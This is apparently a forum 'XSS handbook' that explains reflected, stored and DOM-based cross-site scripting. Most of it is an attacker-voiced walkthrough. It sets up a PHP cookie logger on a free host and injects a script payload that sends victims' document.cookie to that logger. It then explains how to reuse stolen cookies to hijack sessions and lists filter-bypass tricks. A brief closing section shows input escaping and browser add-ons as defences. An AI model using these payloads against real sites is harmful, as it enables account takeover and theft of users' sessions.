IntroductionThis is going to be my official XSS handbook. I've written a XSS handbook on a different alias, but
decided to leave it due to it being used in too many databases.
Please note that this is not copied, because that would trace back to my old alias.
This handbook is now updated and fixed.
What is XSS?XSS, also known as cross-site scripting is a web vulnerability. It's caused when the user input
is not sanitized correctly, and is therefore executed.
Let's say there's a search box on a website. If you search for the word "cat" and press enter you'll
probably come to a second page where it says something like "500 results for the word 'cat'".
This means that the websites HTML is looking something like this.
<h1>500 results for the word 'cat'.</h1>
Now, let's say this website was vulnerable to XSS and you changed your input from cat to HTML code, it's
not sanitized correctly and is executed. Let's say you search for this instead:
<script>alert('XSS')</script>.
Now the HTML code would look like this instead.
<h1>500 results for the word '<script>alert('XSS')</script>'</h1>
What the website will do is it will think that the user input is actually a part of the website, and it'll execute the Javascript code resulting in a
popup saying "XSS".
There's been a number of interesting uses of XSS over the years. One of the most recognized uses
was by a guy called Samy Kamkar. He successfully executed Javascript on his MySpace profile.
What he did was creating a Javascript worm, so as fast as anyone would visit Samy's MySpace profile, the
Javascript payload would run, adding the Payload to their own profile and change their bio to
"But most of all, Samy is my hero".
In fact, I read just a while ago on the forum that the chatbox on Alphas.sx was vulnerable to XSS.
Luckily, for us the attacker - was a skid. He didn't put a dangerous payload on it. He could of done a lot worse stuff than he actually did,
like stealing cookies of users or making them; just like Samy did, changing their profiles.
XSS
can be very harmful if it's used correctly.
Different attack methodsIn XSS there's a number of different attack methods. I'll go over some of the most common ones with you.
-
Non-Persistent XSSThis is the most common one of all XSS attack methods.
It's the vulnerabilties that are not stored on the website, but is parsed in for example a URL.
This include website searches and is usually found in forms that are never stored, the same thing I explained before.
For someone to exploit the vulnerable on an another user, he'd have to craft a link and send it to the target.
Let's imagine the search XSS I talked about earlier. The URL might look something like this:
http://www.website.com/search.php?q=search+here
The
search+here would be replaced with the XSS payload.
-
Persistent XSSThis one is actually the rarest type of XSS. This is found in comments, bio's, chat logs, etc - the ones where the text is stored on the website unless it's removed
by someone like an administrator.
The XSS found on the forum was persistent, as fast as anyone would visit the chatbox the payload would be executed.
-
DOM-Based XSSThis attack method is basically useless. There's no way you can attack a user this way unless you trick them to enter your Javascript payload
in the vulnerable form/URL.
This vulnerability is similar to
Non-Persistent XSS, but there's no URL crafted, so there's no way for you to make the victim
run the payload. The DOM-based XSS results in you just modifying the DOM enviornment in the victims browser.
Cookie CatchingCookies are small files which are stored on a user's computer. They are usually seen as strings and are ran in the users browser.
This allows the server of a website to deliver a page tailored to a particular user.
For example, if you were to log into Facebook and make sure the "Remember me" button is checked a unique cookie file is stored on your computer.
Next time you visit Facebook, it's going to look for the cookie - and if you have it, it's automatically going to log you in.
If you can steal these cookies with, let's say a XSS vulnerability in Facebook, you can use those cookies in your own session to authorize as someone else.
(Which the skid in the chatbox could of done, but didn't)To start stealing cookies you have to set up your own websites with a PHP script.
I prefer using
http://3owl.com or
http://000webhost.com/. Once you've created an account you can log in and go to your file manager.
Here you're going to create a file, name it whatever you want - I'll go with
cookie.php.
The file is going to contain this PHP code:
<?php
$cookie = $HTTP_GET_VARS[" c"];
$file = fopen('cookielog.txt', 'w');
fwrite($file, $cookie . "\n\n");
echo " <script>location.href='http://www.google.com';</script>";
?>
Once you've created it you'll have your URL with the PHP script on. It'll look something like this:
http://www.website.3owl.com/cookie.php
Now, go to the vulnerable website and enter this XSS payload:
<script>document.location= "http://www.website.3owl..com/cookie.php?c=" + document.cookie; </script>
What this will do is to redirect the site to your cookie logging script, and add the cookie after the "
c=", and store the string in a textfile called
cookielog.txt.
You can later go to your file manager and see if you've got any cookies.
To use someone's cookie you can use any cookie editor, like Advanced Cookie Manage which you can install as an addon through your browser.
Bypass TechniquesMost admins will put different filters trying to avoid XSS. Some of these methods are:
-
magic_quotes_gpc=ON-
HEX encoding-
Obfuscationmagic_quotes_gpc=ON bypassThis is a very well known filter, and is also used to prevent SQLi and other vulnerabilities.
What it does is after every single quote (') and double quote (") it's escaped with a backslash.
The way you bypass this is by using the Javascript function
String.fromCharCode().
Just convert your payload into decimals by using a tool like this
http://www.asciizeichen.de/tabelle.htmlHEX encoding bypassThis kind of explains itself, you simply encode your XSS payload into HEX.
For example, the XSS payload:
<script>alert(1)</script> would look like this
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3eYou can use websites like
http://www.swingnote.com/tools/texttohex.php for this.
ObfuscationThis filter is the worst filter against XSS if it's not used correctly, and there's an extremely easy way of bypassing it.
What this filter does is it has different words like "script" and "alert" on a blacklist of words, so whenever someone tries to write them they're censored.
If the administrator is stupid you can easily bypass this by writing the payload like this:
<sCrIpT>aLerT(1)</sCriPt>
EXTRA METHODSometimes you have to be a bit creative with your payloads and have a look at the source code.
You might have to write your payloads like this:
"><script>alert(1);</script>
or
</p><script>alert(1);</script>
There's endless of possibilities to this method.
How to fix XSS vulnerabilitiesObviously because we're in the "Security" section we have to learn how to secure your website against XSS threats.
There's a number of ways to fix XSS vulnerabilities, but I'm going to name the most common one.
Let's imagine that there's a search box on your website that's vulnerable to XSS.
You go into the PHP code of the search box and have a closer look.
If it's storing the user input in a variable like
'search' you have to add a secure function to it, to make it sanitized.
Let's imagine the result page's PHP code is:
<?php
echo ($_GET['search']);
?>
Instead of having it posting the user-input directly, we have to sanitize it first.
We can do this by changing the PHP code to
<?php
echo htmlspecialchars($_GET['search']);
?>
When you search for something It's going to show the same way, but the user-input is now sanitized and not taken literally.
XSS defense as a userA good defense against XSS as a user is by using addons like noscript. What this addon does it not allowing
Javascript to be run on a website unless you allow it. So if someone sends you a link with a Javascript payload on
it wont execute unless you allow it to and it's trusted.
Last wordsWriting this stuff is harder than you think. I hope you all learnt something new and that you enjoyed reading this.
If you liked this handbook, please take your time to reply to it and tell me what you learnt.
Also, feel free to ask questions if you have any problems.
